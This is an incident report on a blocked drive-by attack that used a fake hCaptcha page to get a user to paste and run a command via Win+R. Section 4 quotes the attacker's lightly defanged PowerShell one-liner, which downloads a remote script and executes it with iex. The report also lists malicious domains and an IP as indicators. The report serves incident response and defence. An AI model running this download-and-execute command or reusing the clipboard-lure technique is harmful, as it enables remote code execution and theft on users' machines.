Post-Compromise Incident Report

Date: Oct 13th, 2024
Timezone: UTC-3
Prepared by: Giovanni Alves
Host Affected: Workstation1
Incident Type: Drive-By Compromise / Phishing (Fake hCaptcha)

---

1. Executive Summary

During routine monitoring, a suspicious sequence of events associated with a **Drive-by Compromise Phishing Attack** was identified on host **Workstation1**.
The activity was successfully *interrupted* by Cortex, preventing execution of the malicious PowerShell payload.
No compromise of the operating system or user account was observed.

The activity suggests the user accessed **non-compliant browsing sites**, likely pirated media platforms, which are historically correlated with malicious advertising and phishing chains.

---

2. Timeline of Events

Timestamp (UTC-3)	Event
12:50:15 – Oct 13, 2024	Access to suspicious domains: `caseicthetas[.]click` and `iterscasiri[.]click`
12:50:16 – Oct 13, 2024	Malicious JavaScript executed in the browser (Drive-by technique)
12:50:16 – Oct 13, 2024	User prompted with a **fake hCaptcha challenge** instructing the execution of commands via **clipboard + Win+R**
12:50:24 – Oct 13, 2024	PowerShell execution attempted by attacker command
12:50:33 – Oct 13, 2024	**Cortex blocked the PowerShell execution**, breaking the attack chain

3. Incident Description

Telemetry and IOCs indicate a **Drive-by compromise** initiated from malicious domains hosted behind IP **173[.]237.68.44**.
These domains are part of a known phishing infrastructure that:

1. Displays a fake hCaptcha verification page.
2. Injects attacker-controlled commands directly into the user's clipboard.
3. Prompts the user to run **Win + R**, paste the content, and execute a PowerShell payload.

This technique attempts to bypass traditional detection by tricking the user into executing the malicious command manually.

4. Root Cause Analysis

Probable Root Cause

Due to the lack of application-layer logs (L4 visibility), it is **highly likely** that the root cause was **non-compliant browsing activity**, specifically access to **pirated movie/streaming sites**, which commonly redirect through malicious advertising networks.

These redirections are directly correlated with the identified IP and its domains.

Technical Root Cause

The malicious chain attempted to execute the following command on the endpoint:

```
powershell.exe -W Hidden -command $url =
'https[:]//validitytextv1[.]b-cdn[.]net/power.txt';
$response = Invoke-WebRequest -Uri $url -UseBasicParsing;
$text = $response.Content;
iex $text\1
```

This payload retrieval was **blocked**, preventing code execution.

---

5. Impact Assessment

Confirmed Impact

- **No execution** of the PowerShell payload.
- **No lateral movement, persistence, or credential compromise** observed.
- No indicators of post-exploitation.
- The malicious chain was successfully **neutralized**.

Potential (but prevented) Impact

Had the payload executed, possible consequences could include:

- Initial access foothold
- Credential theft
- Data exfiltration
- Agent installation (stealer / RAT)

Detection prevented escalation.

---

6. Containment and Mitigation

Immediate Actions Performed

- Cortex prevented PowerShell execution — attack chain interrupted.
- Host requires **no additional technical remediation**.

Recommended Actions

1. **User Awareness Training**
   Conduct a targeted awareness session regarding phishing, fake captchas, and non-compliant browsing risks.

2. **Review Browsing Policies**
   Enforce/extend policies restricting access to:

   - Pirated content
   - Untrusted streaming sites
   - High-risk advertising networks

3. **Ensure Logging at L4/L7**
   To improve forensic capabilities in future incidents.

---

7. Indicators of Compromise (IOCs)

Domains:

- `caseicthetas.click`
- `iterscasiri.click`

IP Correlation:

- `173.237.68.44`

Registry Artifact:

```
HKEY_USERS\S-1-5-21-1863377931-3870654567-2541444128-81119\
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```

Malicious Command Attempt:
(see Section 4)

---

8. Final Assessment

The incident was **contained before compromise**.
The endpoint did not execute the malicious payload, and no further evidence of system alteration, persistence, or credential theft was found.

Overall Risk: Low (attack prevented)
Primary Recommendation: Strengthen user awareness + restrict high-risk browsing.